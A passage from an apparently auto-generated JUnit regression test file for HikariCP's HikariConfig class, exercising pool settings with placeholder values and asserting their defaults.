org.junit.Assert.assertNotNull(properties5);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 60 + "'", int7 == 60);
}
@Test
public void test19205() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19205");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
javax.sql.DataSource dataSource1 = hikariConfig0.dataSource;
hikariConfig0.setDataSourceClassName("HikariPool-905");
hikariConfig0.setJdbc4ConnectionTest(true);
java.util.Properties properties6 = hikariConfig0.getDataSourceProperties();
javax.sql.DataSource dataSource7 = hikariConfig0.getDataSource();
hikariConfig0.transactionIsolation = 97;
hikariConfig0.setUseInstrumentation(true);
hikariConfig0.connectionTestQuery = "HikariPool-497";
org.junit.Assert.assertNull(dataSource1);
org.junit.Assert.assertNotNull(properties6);
org.junit.Assert.assertNull(dataSource7);
}
@Test
public void test19206() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19206");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.poolName = "hi!";
hikariConfig1.acquireRetries = ' ';
long long7 = hikariConfig1.getConnectionTimeout();
hikariConfig1.dataSourceClassName = "HikariPool-222";
long long10 = hikariConfig1.getIdleTimeout();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer11 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 60L + "'", long10 == 60L);
org.junit.Assert.assertNull(iConnectionCustomizer11);
}
@Test
public void test19207() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19207");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
long long8 = hikariConfig1.idleTimeout;
hikariConfig1.setConnectionTestQuery("HikariPool-204");
int int11 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setPoolName("HikariPool-166");
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
java.lang.String str21 = hikariConfig17.transactionIsolationName;
int int22 = hikariConfig17.transactionIsolation;
java.lang.String str23 = hikariConfig17.getConnectionInitSql();
hikariConfig17.isAutoCommit = true;
long long26 = hikariConfig17.getIdleTimeout();
hikariConfig17.setAutoCommit(true);
long long29 = hikariConfig17.maxLifetime;
hikariConfig17.transactionIsolationName = "HikariPool-205";
java.util.Properties properties33 = null;
com.zaxxer.hikari.HikariConfig hikariConfig34 = new com.zaxxer.hikari.HikariConfig(properties33);
hikariConfig34.setConnectionInitSql("hi!");
int int37 = hikariConfig34.getMinimumPoolSize();
hikariConfig17.addDataSourceProperty("HikariPool-780", (java.lang.Object) int37);
java.util.Properties properties39 = null;
com.zaxxer.hikari.HikariConfig hikariConfig40 = new com.zaxxer.hikari.HikariConfig(properties39);
int int41 = hikariConfig40.getTransactionIsolation();
hikariConfig40.setRegisterMbeans(false);
hikariConfig40.isInitializationFailFast = true;
int int46 = hikariConfig40.acquireRetries;
hikariConfig40.setMaxLifetime((long) (-1));
boolean boolean49 = hikariConfig40.isInitializationFailFast();
long long50 = hikariConfig40.maxLifetime;
hikariConfig40.minPoolSize = (byte) -1;
boolean boolean53 = hikariConfig40.isJdbc4connectionTest;
java.util.Properties properties54 = null;
com.zaxxer.hikari.HikariConfig hikariConfig55 = new com.zaxxer.hikari.HikariConfig(properties54);
int int56 = hikariConfig55.getTransactionIsolation();
hikariConfig55.setRegisterMbeans(false);
java.lang.String str59 = hikariConfig55.transactionIsolationName;
long long60 = hikariConfig55.getIdleTimeout();
java.lang.String str61 = hikariConfig55.getCatalog();
java.lang.String str62 = hikariConfig55.getConnectionTestQuery();
java.util.Properties properties63 = null;
com.zaxxer.hikari.HikariConfig hikariConfig64 = new com.zaxxer.hikari.HikariConfig(properties63);
hikariConfig64.dataSourceClassName = "";
java.util.Properties properties67 = hikariConfig64.dataSourceProperties;
hikariConfig55.setDataSourceProperties(properties67);
hikariConfig40.setDataSourceProperties(properties67);
com.zaxxer.hikari.HikariConfig hikariConfig70 = new com.zaxxer.hikari.HikariConfig(properties67);
hikariConfig17.setDataSourceProperties(properties67);
hikariConfig1.setDataSourceProperties(properties67);
hikariConfig1.connectionTimeout = 35;
javax.sql.DataSource dataSource75 = hikariConfig1.getDataSource();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 60L + "'", long8 == 60L);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 0 + "'", int11 == 0);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str23);
// flaky: org.junit.Assert.assertTrue("'" + long26 + "' != '" + 60L + "'", long26 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long29 + "' != '" + 35L + "'", long29 == 35L);
org.junit.Assert.assertTrue("'" + int37 + "' != '" + 10 + "'", int37 == 10);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertTrue("'" + int46 + "' != '" + 3 + "'", int46 == 3);
org.junit.Assert.assertTrue("'" + boolean49 + "' != '" + true + "'", boolean49 == true);
org.junit.Assert.assertTrue("'" + long50 + "' != '" + (-1L) + "'", long50 == (-1L));
org.junit.Assert.assertTrue("'" + boolean53 + "' != '" + true + "'", boolean53 == true);
org.junit.Assert.assertTrue("'" + int56 + "' != '" + (-1) + "'", int56 == (-1));
org.junit.Assert.assertNull(str59);
// flaky: org.junit.Assert.assertTrue("'" + long60 + "' != '" + 60L + "'", long60 == 60L);
org.junit.Assert.assertNull(str61);
org.junit.Assert.assertNull(str62);
org.junit.Assert.assertNotNull(properties67);
org.junit.Assert.assertNull(dataSource75);
}
@Test
public void test19208() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19208");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
long long12 = hikariConfig1.getConnectionTimeout();
java.lang.String str13 = hikariConfig1.getDataSourceClassName();
hikariConfig1.idleTimeout = 0L;
hikariConfig1.setInitializationFailFast(false);
long long18 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.setConnectionCustomizerClassName("HikariPool-2739");
java.lang.String str21 = hikariConfig1.getPoolName();
hikariConfig1.setConnectionTestQuery("HikariPool-18723");
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 10L + "'", long12 == 10L);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + long18 + "' != '" + 0L + "'", long18 == 0L);
org.junit.Assert.assertEquals("'" + str21 + "' != '" + "hi!" + "'", str21, "hi!");
}
@Test
public void test19209() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19209");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.setMinimumPoolSize(0);
hikariConfig1.setCatalog("HikariPool-373");
java.util.Properties properties21 = null;
com.zaxxer.hikari.HikariConfig hikariConfig22 = new com.zaxxer.hikari.HikariConfig(properties21);
hikariConfig22.leakDetectionThreshold = 100;
java.lang.String str25 = hikariConfig22.connectionTestQuery;
hikariConfig22.setMaximumPoolSize(87);
java.lang.String str28 = hikariConfig22.connectionCustomizerClassName;
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
hikariConfig30.setConnectionInitSql("hi!");
long long33 = hikariConfig30.getLeakDetectionThreshold();
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
int int36 = hikariConfig35.getTransactionIsolation();
hikariConfig35.setRegisterMbeans(false);
java.lang.String str39 = hikariConfig35.transactionIsolationName;
int int40 = hikariConfig35.getMaximumPoolSize();
int int41 = hikariConfig35.transactionIsolation;
java.util.Properties properties42 = hikariConfig35.dataSourceProperties;
hikariConfig30.dataSourceProperties = properties42;
java.util.Properties properties44 = hikariConfig30.getDataSourceProperties();
hikariConfig22.dataSourceProperties = properties44;
com.zaxxer.hikari.HikariConfig hikariConfig46 = new com.zaxxer.hikari.HikariConfig(properties44);
com.zaxxer.hikari.HikariConfig hikariConfig47 = new com.zaxxer.hikari.HikariConfig(properties44);
hikariConfig47.setTransactionIsolation("HikariPool-130");
hikariConfig1.addDataSourceProperty("HikariPool-429", (java.lang.Object) hikariConfig47);
hikariConfig1.transactionIsolationName = "HikariPool-41103";
java.lang.String str53 = hikariConfig1.connectionTestQuery;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer54 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNotNull(properties13);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertTrue("'" + long33 + "' != '" + 0L + "'", long33 == 0L);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + (-1) + "'", int36 == (-1));
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + 60 + "'", int40 == 60);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertNotNull(properties42);
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertNull(str53);
org.junit.Assert.assertNull(iConnectionCustomizer54);
}
@Test
public void test19210() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19210");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.setMaximumPoolSize((int) (byte) 10);
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
}
@Test
public void test19211() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19211");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
java.lang.String str10 = hikariConfig1.getConnectionCustomizerClassName();
long long11 = hikariConfig1.getMaxLifetime();
int int12 = hikariConfig1.transactionIsolation;
boolean boolean13 = hikariConfig1.isInitializationFailFast();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer14 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer14;
int int16 = hikariConfig1.getAcquireRetries();
hikariConfig1.setAutoCommit(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 1L + "'", long11 == 1L);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
}
@Test
public void test19212() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19212");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
long long13 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setCatalog("HikariPool-770");
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((-1L));
hikariConfig1.setMinimumPoolSize(10);
hikariConfig1.setConnectionCustomizerClassName("HikariPool-483");
long long23 = hikariConfig1.getLeakDetectionThreshold();
java.lang.String str24 = hikariConfig1.connectionCustomizerClassName;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertNotNull(properties16);
org.junit.Assert.assertTrue("'" + long23 + "' != '" + 0L + "'", long23 == 0L);
org.junit.Assert.assertEquals("'" + str24 + "' != '" + "HikariPool-483" + "'", str24, "HikariPool-483");
}
@Test
public void test19213() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19213");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.connectionTestQuery;
int int6 = hikariConfig1.getAcquireIncrement();
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setIdleTimeout((long) 100);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 0 + "'", int6 == 0);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
}
@Test
public void test19214() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19214");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.dataSourceClassName = "";
hikariConfig10.setTransactionIsolation("");
java.util.Properties properties18 = null;
com.zaxxer.hikari.HikariConfig hikariConfig19 = new com.zaxxer.hikari.HikariConfig(properties18);
int int20 = hikariConfig19.getTransactionIsolation();
hikariConfig19.setRegisterMbeans(false);
hikariConfig19.isInitializationFailFast = true;
int int25 = hikariConfig19.acquireRetries;
hikariConfig19.setMaxLifetime((long) (-1));
int int28 = hikariConfig19.getTransactionIsolation();
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
int int31 = hikariConfig30.getTransactionIsolation();
hikariConfig30.setRegisterMbeans(false);
java.lang.String str34 = hikariConfig30.transactionIsolationName;
int int35 = hikariConfig30.getMaximumPoolSize();
int int36 = hikariConfig30.transactionIsolation;
java.util.Properties properties37 = hikariConfig30.dataSourceProperties;
hikariConfig19.setDataSourceProperties(properties37);
hikariConfig10.dataSourceProperties = properties37;
com.zaxxer.hikari.HikariConfig hikariConfig40 = new com.zaxxer.hikari.HikariConfig(properties37);
hikariConfig1.dataSourceProperties = properties37;
boolean boolean42 = hikariConfig1.isInitializationFailFast();
boolean boolean43 = hikariConfig1.isInitializationFailFast;
long long44 = hikariConfig1.leakDetectionThreshold;
boolean boolean45 = hikariConfig1.isRegisterMbeans();
int int46 = hikariConfig1.maxPoolSize;
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.connectionCustomizerClassName = "HikariPool-69";
int int51 = hikariConfig1.getTransactionIsolation();
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int20 + "' != '" + (-1) + "'", int20 == (-1));
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 3 + "'", int25 == 3);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + (-1) + "'", int28 == (-1));
org.junit.Assert.assertTrue("'" + int31 + "' != '" + (-1) + "'", int31 == (-1));
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + 60 + "'", int35 == 60);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + (-1) + "'", int36 == (-1));
org.junit.Assert.assertNotNull(properties37);
org.junit.Assert.assertTrue("'" + boolean42 + "' != '" + false + "'", boolean42 == false);
org.junit.Assert.assertTrue("'" + boolean43 + "' != '" + false + "'", boolean43 == false);
org.junit.Assert.assertTrue("'" + long44 + "' != '" + 100L + "'", long44 == 100L);
org.junit.Assert.assertTrue("'" + boolean45 + "' != '" + false + "'", boolean45 == false);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + 60 + "'", int46 == 60);
org.junit.Assert.assertTrue("'" + int51 + "' != '" + (-1) + "'", int51 == (-1));
}
@Test
public void test19215() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19215");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
long long1 = hikariConfig0.connectionTimeout;
int int2 = hikariConfig0.getTransactionIsolation();
hikariConfig0.isJdbc4connectionTest = false;
java.lang.String str5 = hikariConfig0.poolName;
hikariConfig0.setMaximumPoolSize(35);
java.util.Properties properties8 = hikariConfig0.dataSourceProperties;
boolean boolean9 = hikariConfig0.isRegisterMbeans;
// flaky: org.junit.Assert.assertTrue("'" + long1 + "' != '" + 10L + "'", long1 == 10L);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str5 + "' != '" + "HikariPool-50926" + "'", str5, "HikariPool-50926");
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
}
@Test
public void test19216() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19216");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
hikariConfig1.setUseInstrumentation(true);
java.lang.String str10 = hikariConfig1.getCatalog();
long long11 = hikariConfig1.getAcquireRetryDelay();
boolean boolean12 = hikariConfig1.isInitializationFailFast;
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19217() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19217");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
long long11 = hikariConfig1.maxLifetime;
hikariConfig1.minPoolSize = (byte) -1;
int int14 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setLeakDetectionThreshold(35L);
boolean boolean17 = hikariConfig1.isAutoCommit();
hikariConfig1.setConnectionInitSql("HikariPool-4161");
java.lang.String str20 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setPoolName("HikariPool-222");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertTrue("'" + long11 + "' != '" + (-1L) + "'", long11 == (-1L));
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 60 + "'", int14 == 60);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
org.junit.Assert.assertEquals("'" + str20 + "' != '" + "HikariPool-4161" + "'", str20, "HikariPool-4161");
}
@Test
public void test19218() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19218");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
hikariConfig1.setJdbc4ConnectionTest(true);
hikariConfig1.isJdbc4connectionTest = false;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertNotNull(properties13);
}
@Test
public void test19219() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19219");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setConnectionInitSql("HikariPool-265");
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.poolName = "hi!";
javax.sql.DataSource dataSource16 = null;
hikariConfig12.dataSource = dataSource16;
long long18 = hikariConfig12.getIdleTimeout();
java.lang.String str19 = hikariConfig12.poolName;
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
boolean boolean22 = hikariConfig21.isAutoCommit;
int int23 = hikariConfig21.getAcquireIncrement();
int int24 = hikariConfig21.getAcquireIncrement();
java.util.Properties properties25 = hikariConfig21.dataSourceProperties;
hikariConfig12.setDataSourceProperties(properties25);
hikariConfig1.setDataSourceProperties(properties25);
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties25);
boolean boolean29 = hikariConfig28.isInitializationFailFast;
int int30 = hikariConfig28.acquireRetries;
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "hi!" + "'", str19, "hi!");
org.junit.Assert.assertTrue("'" + boolean22 + "' != '" + true + "'", boolean22 == true);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 0 + "'", int23 == 0);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + 0 + "'", int24 == 0);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + 3 + "'", int30 == 3);
}
@Test
public void test19220() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19220");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-26291");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-26291 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19221() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19221");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
java.lang.String str7 = hikariConfig1.dataSourceClassName;
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.transactionIsolationName = "";
int int16 = hikariConfig10.getMinimumPoolSize();
hikariConfig10.setAcquireRetries((int) (byte) 1);
java.lang.String str19 = hikariConfig10.getConnectionInitSql();
javax.sql.DataSource dataSource20 = hikariConfig10.getDataSource();
hikariConfig1.addDataSourceProperty("", (java.lang.Object) hikariConfig10);
hikariConfig10.setJdbc4ConnectionTest(false);
int int24 = hikariConfig10.getMaximumPoolSize();
java.lang.Class<?> wildcardClass25 = hikariConfig10.getClass();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 10 + "'", int16 == 10);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNull(dataSource20);
org.junit.Assert.assertTrue("'" + int24 + "' != '" + 60 + "'", int24 == 60);
org.junit.Assert.assertNotNull(wildcardClass25);
}
@Test
public void test19222() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19222");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
long long10 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.dataSourceClassName = "HikariPool-678";
javax.sql.DataSource dataSource13 = hikariConfig1.dataSource;
hikariConfig1.catalog = "HikariPool-45338";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
